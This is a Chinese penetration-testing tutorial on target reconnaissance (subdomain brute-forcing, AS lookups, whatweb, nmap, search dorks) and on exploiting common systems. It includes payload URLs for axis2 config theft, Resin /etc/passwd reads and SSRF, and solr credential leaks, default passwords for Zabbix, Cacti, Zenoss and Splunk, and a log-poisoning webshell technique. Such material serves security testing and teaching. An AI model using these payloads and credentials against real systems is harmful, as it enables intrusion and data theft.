滲透中尋找突破口的那些事
0x00 尋找目標
在自己日常檢測中以及觀察他人檢測思路發現前期收集資訊具有很關鍵的作用,很多時候不需要對某種漏洞有很深的研究,如果前期收集了足夠多的目標,只需要檢測一些常見的高危漏洞即可有收穫
常用思路
1.網段資訊
1)透過子域名
如果存在域傳送這種漏洞是最好的,沒有的話一般就要暴破子域名了
我常用的軟體為dnsmap,基本用法
./dnsmap target-domain.com -w 你的域名字典 -r 要儲存結果檔案的絕對路徑
針對做了泛解析的域名可以使用-i 需忽略ip來避免誤報,如對域名xxx.com的暴破過程中不存在域名都解析到1.1.1.1上,則使用命令為
./dnsmap xxx.com -w domain.txt -i 1.1.1.1 -r /tmp/result.txt
結果為如下格式:
其中預設編譯的dnsmap存在一個問題,解決方法與其他使用方法請參考
http://pan.baidu.com/s/1nt5HMw5
大家可以在預設字典的基礎上加一些如oa、zabbix、nagios、cacti、erp、sap、crm等等,不少企業都是這種命名方式
滲透的話一般會從oa,mail等重要業務網段尋找目標,如果發現有些管理後臺的域名為
xx.admin.xxx.com這種,則可繼續擴充套件,尋找admin.xxx.com下的三級域名
曾檢測某站時無意發現一個ntp.nb.xxx.com的域名,進而暴破nb.xxx.com這個域名,結果如下
其中zabbix.nb.xxx.com這個站點暴露到了外網,版本較低,使用zabbix的注入漏洞成功獲取許可權
同時子域名也可透過搜尋引擎語法site:xxx.com收集(不斷增加條件,可獲取的更多,如inurl,intitle等等)
2)AS號
Jwhois使用方法
yum install -y jwhois
執行
whois -h asn.shadowserver.org origin 1.1.1.1
可獲得ip所在企業的AS號
繼續執行
whois -h asn.shadowserver.org prefix as號
即可獲得該as號對應網段
注:一般只有大企業才會有as號,並且一個企業可能會有多個as號
3)DNS
4)spf記錄
如何判斷cdn?
如果誤把cdn的ip加到目標裡會影響一些人工時間,如何判斷cdn?最簡單的方法是用多地ping功能
2.利用whatweb尋找web入口
使用方法
./whatweb 1.1.1.1/24 --log-brief=output_file(詳細使用參考使用說明)
預設的話只識別80埠的,如果此時我們想識別下8080埠,再加上--url-suffix=”:8080”即可
可根據title,cms等資訊尋找目標,一般把後臺或者存在已知漏洞的系統作為目標,同時可尋找nginx低版本存在解析漏洞的站點,受影響版本為0.5全版本,0.6全版本,0.7<=0.7.65,0.8<=0.8.37
附上一則例項:
在檢測某企業時,whatweb批次識別指紋發現存在一臺nginx版本比較低且存在解析漏洞的站點,首頁為空白頁,對目錄結構暴破發現.bash_history檔案
操作歷史中發現有打包檔案且放在web目錄下
下載打包檔案,內容如下
其中發現有log檔案,且log檔案會記錄user-agent資訊
使用firefox外掛User Agent Switcher更改user-agent資訊
一句話程式碼寫入log檔案後利用解析漏洞直接獲取webshell
3.利用nmap尋找可利用服務
詳細用法參考使用手冊,個人常用命令為(-P0引數視情況新增,如果沒有禁ping可以不加,提升速度)
./nmap -sT -sV 1.1.1.1/24 -P0 -oN /tmp/port_result.txt --open
Ip較少的情況下可以掃全埠以及一些基本資訊
./nmap -sT -sV -p 1-65535 1.1.1.1 -P0 -A
利用nmap可以發現一些非80/443/8080這種常見埠上的web以及一些容易出問題的埠如
873(rsync無驗證)/21(ftp匿名賬戶)/11211(memcache無驗證)/27017(mongodb無驗證)等,碰到不認識的服務別急著放棄,去exploit-db等站點搜一下是否存在已知漏洞吧,說不準直接找到個RCE呢(很多時候我也會在烏雲search一下,搜到的話就是實際例子,看著更直白)
4.利用搜尋引擎尋找後臺或重要系統
常用搜尋語法為site:xxx.com inurl:login
Inurl的值可以自由變換,常用的包括admin、manage或者使用intitle:找管理、登入之類的關鍵字,有些站點出來的結果可能多數為同一站點下的誤報,比如部落格類的,問問類的,可使用-來減少誤報,比如google中搜尋site:baidu.com inurl:login -zhidao就可以在結果中去除zhidao相關的結果,百度可輸入
site:baidu.com inurl:login -site:zhidao.baidu.com
例項參考: WooYun: 對蘇寧易購一次完整的web檢測過程(多圖)
5.搞一個精簡的路徑字典
我們可以把容易出問題且危害比較高的常見路徑做成一個精簡的小字典,針對之前收集的域名去遍歷,比如/invoker/JMXInvokerServlet、wwwroot.zip這種,發現的話很大機率可以搞到許可權
0x01 利用
這裡列出幾個常見的系統利用方法
1. 後臺
當前面的過程中發現後臺或者重要系統時,一般會進行如下幾種檢測
1)awvs綜合掃描(經常有意外發現) 2)目錄結構暴破 3)口令暴破(admin不行的時候,不一定是密碼不對,很多時候是使用者名稱不對,嘗試想到的可獲取使用者名稱的一切方法,如翻翻js、css檔案,html原始碼註釋內容,或者.svn目錄下的資訊洩露等,密碼可針對系統名稱及域名等資訊做一些變形加到字典中) 4)Html原始碼、js等檔案獲取資訊(有些開發者會把一些管理地址以註釋形式放到html原始碼中,管理的介面地址寫在js中,運氣好的話可以直接越權訪問) 5)引數值暴破(一些框架寫的後臺登陸頁面可能是這種格式xx.com/?c=login,日常可以收集一些常見的引數值,如index、main、upload、edit、adduser等、運氣好的話可以直接越權操作)
2. axis2
檔案包含:
www.xxx.com/axis2/services/listServices 檢視所有services
www.xxx.com/axis2/services/xxxxx?xsd=../conf/axis2.xml xxxxx替換任意服務均可,讀取axis2配置檔案獲取後臺賬戶
www.xxx.com/axis2/axis2-admin/ 登陸管理後臺
後臺部署檔案程式碼執行:
使用metasploit
Resin
檔案讀取:
http://www.xxx.com/resin-doc/resource/tutorial/jndi-appconfig/test?inputFile=/etc/passwd
也可以透過
http://www.xxx.com/resin-doc/resource/tutorial/jndi-appconfig/test?inputFile=http://1.1.1.1
實現SSRF
solr敏感資訊洩漏
http://xxx.org:8080/solr/admin/file/?file=solrconfig.xml
搜尋xml檔案,找到data-import.xml
訪問http://xxx.org:8080/solr/admin/file/?file=data-import.xml獲取資料庫密碼
Hudson(jenkins類似)
參考 WooYun: 搜狐某應用遠端Groovy程式碼執行!
Zenoss
Google關鍵字:intitle:"Zenoss Login"
預設口令admin/zenoss
利用方法參考
WooYun: 從一個預設口令到youku和tudou內網(危害較大請儘快修復)
Zabbix
後臺:http://www.xxx.com/zabbix
預設密碼:admin/zabbix
Google:inurl:zabbix/dashboard.php
利用方法參考 WooYun: 應用匯zabbix運維不當導致任意命令執行。
另外這個zabbix注入的也很多都存在/papers/?id=680
Cacti
預設登陸路徑www.xxx.com/cacti/index.php
預設密碼admin/admin
利用方法參考 WooYun: cacti後臺登陸命令執行漏洞
Splunk
預設後臺地址:
http://xxx.com:8000/zh-CN/account/login?return_to=%2Fzh-CN%2F
預設賬戶admin/changeme 預設埠8000
管理器-應用-從檔案安裝應用處可獲得shell
msf有利用模組
exploit/multi/http/splunk_upload_app_exec
0x02 結尾
推薦兩篇烏雲綜合性介紹文章
1.從烏雲看運維安全那點事兒
/papers/?id=410
/tips/?id=604
相關文章
- 一文聊透 IP 地址的那些事2022-05-18
- ThreeJS 中線的那些事2022-03-28JS
- javascript中this那些事2018-12-01JavaScript
- 內網滲透-初探域滲透2024-10-28內網
- 在滲透中curl的常見用法2018-06-04
- 【數字工業革命】那些被物聯網滲透的行業2019-01-16行業
- 郵件功能中的那些事2019-02-26
- 尋找中國版的《糖豆人》2020-10-10
- 如何透過六西格瑪尋找問題根源?2022-06-07
- DB2在滲透中的應用2020-08-19DB2
- 談談 Java 中的那些“瑣”事2020-09-22Java
- 尋找陣列中第K大的元素2019-03-01陣列
- PJzhang:搜尋引擎高階語法與滲透測試2019-05-24
- 內網滲透應用 跨vlan滲透的一種思路2020-08-19內網
- wifi滲透2020-08-08WiFi
- 【Java】尋找陣列中“主要元素”2020-12-21Java陣列
- 尋找真凶2020-12-23
- 域滲透之利用WMI來橫向滲透2024-06-24
- Java 混淆那些事(六):Android 混淆的那些瑣事2019-03-24JavaAndroid
- Docker容器中應避免的那些事兒2020-06-26Docker
- EF中延遲載入的那些事2020-07-18
- 尋找兩個有序陣列的中位數2019-05-14陣列
- 尋找兩個正序陣列中的中位數2022-05-29陣列
- metasploit滲透測試筆記(內網滲透篇)2020-08-19筆記內網
- 尋找有生命的行星2021-09-09
- WAF的那些事2020-09-26
- DOM的那些事2019-02-21
- Volatile的那些事2018-12-27
- Synchronized的那些事2018-12-24synchronized
- a>b的那些事2018-08-06
- 關於Javascript中的”use strict”的那些事2019-02-16JavaScript
- 關於Swift中的指標的那些事2019-01-02Swift指標
- 滲透測試怎麼做?滲透測試的步驟有哪些?2022-04-08
- 變異資訊那些事(中)2019-01-02
- 談談jQuery中Ajax那些事2018-09-14jQuery
- 尋找邊境2021-08-17
- 【滲透測試分享】網路釣魚有哪些注意事項?2022-08-30
- 滲透測試會用到哪些工具?滲透測試教程2021-08-05